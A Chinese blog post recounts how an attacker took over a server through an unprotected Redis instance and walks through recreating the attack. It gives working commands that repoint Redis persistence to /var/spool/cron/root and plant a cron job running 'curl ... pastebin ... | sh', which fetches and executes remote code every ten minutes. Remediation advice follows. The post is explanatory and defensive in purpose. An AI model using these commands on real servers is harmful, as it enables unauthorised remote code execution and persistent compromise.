
利用Redis漏洞远程向服务器写入定时任务
通过crontab -l命令查看定时任务中已经存在该定时任务。其他乱码可以忽略,我猜想定时任务是按行读取的。 其他不符合语法的行都会执行错误。但是正确的行是可以被执行的。
发布日期:2021-05-06 19:51:14
浏览次数:14
分类:技术文章
本文共 1621 字,大约阅读时间需要 5 分钟。
由于近期阿里云服务器报警redis漏洞,经过调查对黑客的入侵过程进行了整理并模拟一遍,庆幸此次黑客行为未对公司造成影响,同时还让我学习了很多知识,这里分享给大家。
1,被入侵的前提条件
- redis没有设置密码 。
- redis配置文件没有打开保护模式,并且没有bindIP地址 。
- 安全组设置打开了redis的6379端口。
- 以root用户启动redis。 有人可能会问,怎么可能这么傻,连个密码都不设置。现实情况的确如此,redis是同事设置,安全组我在管理,测试阶段打开了这个端口。两人分工不同,就出现了这个漏洞。相信漏洞的产生都是类似的。
2, 入侵前准备
满足以上前提后,意味着黑客通过扫描端口工具锁定你的ip,这时可以远程连接你的redis数据库。
2.1 生成测试脚本
登录https://pastebin.com网站
生成如下测试脚本,并获取raw地址echo "hello test" >> /root/hello.outtest
2.2 脚本如何执行
在服务器上直接通过下面命令即可执行上面的脚本
curl -fsSL https://pastebin.com/raw/hx4d4iPS | sh
我技术很弱,是入侵我们服务器的黑客采用了这个网站。这里需要谢谢黑客,教会我新的知识。
这种方式意味着你有在服务器通过简单命令执行复杂脚本的能力。
3 远程连接redis,并执行脚本
3.1 修改redis配置
设置dir到定时任务目录config set dir "/var/spool/cron"设置持久化文件名为rootconfig set dbfilename root
以上两条命令意味着,以后redis所有数据都会保存在/var/spool/cron/root文件中。而这个文件就是root用户的定时任务配置文件。系统会执行该文件定义的定时任务。
step1:清空数据表127.0.0.1:6379> flushall OKstep2:添加一条数据。注意\n表示换行符。127.0.0.1:6379> set test "\n*/10 * * * * curl -fsSL https://pastebin.com/raw/7dFmaK9n | sh\n"OKstep3:保存数据127.0.0.1:6379> save
3.2查看生成的定时任务脚本
在var/var/spool/cron目录下产生了root文件。
该文件代表了root用户的定时任务文件,系统会按照指定周期执行该文件的内容。

3.3 查看定时任务是否生效
tail -f vim /var/log/cron查看定时任务日志,可以看到上述命令已经被执行。

以上,就实现了在不登录数据库的情况下写入定时任务的功能。这个漏洞意味着黑客可以在你的服务器为所欲为,具备所有的权限和能力。
4 如何修复该漏洞
4.1 分析可能造成的影响
对方获取redis之后意味着他可以修改你系统的任何一个文件,并往里写入内容。
1,查看定时任务的/etc/crontab 和var/var/spool/cron等文件是否有异常的内容写入 2,查看用户登录秘钥是否有异常写入。(对方可以免密登录你的系统) 3,查看系统登录日志,查看是否有异常登录 4,其他你发现有可能影响的文件4.2 修复漏洞
1,关闭安全组redis的端口,或者给予最小访问规则
2,修改redis配置文件 参考阿里云的要求,配置完就可以很大程度避免该漏洞的影响。参考
发表评论
最新留言
感谢大佬
[***.8.128.20]2025年04月02日 13时20分24秒
关于作者

喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
Vue的is属性
2019-03-04
Vue爬坑之v-model和v-bind(二)
2019-03-04
神犇和蒟蒻
2019-03-04
vue组件传参 props default 数组/对象的默认值应当由一个工厂函数返回
2019-03-04
vue爬坑之 父组件向子组件异步传参 子组件中拿不到值的解决方法
2019-03-04
js基础复习5-原型链与js的成员查找机制
2019-03-04
js基础复习8-call方法简单使用以及javascript继承
2019-03-04
【游记】被吊打DAY2
2019-03-04
6.docker迁移与备份
2019-03-04
ThinkCMF报错未定义变量vo
2019-03-04
微信公众号开发之素材管理
2019-03-04
修改dynamic web module的版本大小
2019-03-04
IDEA 成功在tomcat上部署项目
2019-03-04
Node.js response 页面中文乱码
2019-03-04
谷歌浏览器 禁用JavaScript
2019-03-04
gitee 修改个人域名 个人空间地址 URL
2019-03-04
C++11中bind的使用错误
2019-03-04
Android中CMake的使用之一初步总结
2019-03-04
一起学智能合约之四表达式和控制结构
2019-03-04